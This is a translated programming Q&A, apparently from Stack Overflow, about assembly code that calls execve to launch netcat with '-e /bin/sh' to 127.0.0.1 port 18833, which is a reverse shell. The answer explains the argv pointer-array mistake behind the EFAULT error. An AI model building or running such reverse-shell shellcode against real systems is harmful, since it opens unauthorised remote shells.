[英]Linux Sys_execve wont run in assembly
我正在編寫一個匯編程序,該程序需要調用netcat並通過Internet執行程序。
據我了解,對於execve命令,您將EBX寄存器指向要運行的程序,該程序最后以空字節終止。 您將ECX寄存器指向參數,這些參數由arg列表末尾的2個空字節與空字節分隔。 您只需將EDX設置為一堆空字節。
在我的命令int0x80執行命令時,我的寄存器如下所示:
Eax:11#系統調用
EBX:0x0783140#/ bin // nc
ECX:0x078314a #args
EDX:0x07831a4 #env
這是ascii中0x0783140處的內存值:
[空字節] = 0x00
/ bin // nc [null字節] 127.0.0.1 [null字節] 18833 [null字節] -e [null字節] / bin / sh [null字節] [null字節]
EBX指向'/ bin // nc'
ECX指向'127.0.0.1'
RDX只是指向一堆空字節
該程序將到達int 0x80調用,但是它將立即返回並將0xfffffff2放入EAX寄存器中。
任何幫助都會很棒。
編輯:感謝ephemient,我現在能夠實際運行netcat,但是不知何故,我認為程序無法正確讀取我的args。 我認為這是因為netcat運行,但立即退出,退出代碼為1,並且未建立與我的偵聽器的連接。
ecx現在在內存中指向此位置(請注意,為了便於閱讀,我在地址之間放置了空格,但它們在我的程序中不存在):
0x78315e 0x783168 0x78316e 0x783171 0x00000000
0x78315e => 127.0.0.1[Null Byte]
0x783168 => 18833[Null Byte]
0x78316e => -e[Null Byte]
0x783171 => /root/myprogram[Null Byte]
我已四倍檢查地址是否實際指向上面的askii值
您得到errno=EFAULT
(0xfffffff2 = -14,14 = EFAULT),表明您正在向系統調用傳遞錯誤的地址。
SYS_execve
接受3個參數,但是第二和第三個是指向參數/環境字符串的NULL終止的指針數組,而不是由nul分隔的組件組成的單個字符串。 將字符串解釋為指針數組,意味着該字符串的前4個字節被解釋為第一個字符串的地址,但這不是有效地址,因此為EFAULT。
SYSCALL_DEFINE3(execve,
const char __user *, filename,
const char __user *const __user *, argv,
const char __user *const __user *, envp)
聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.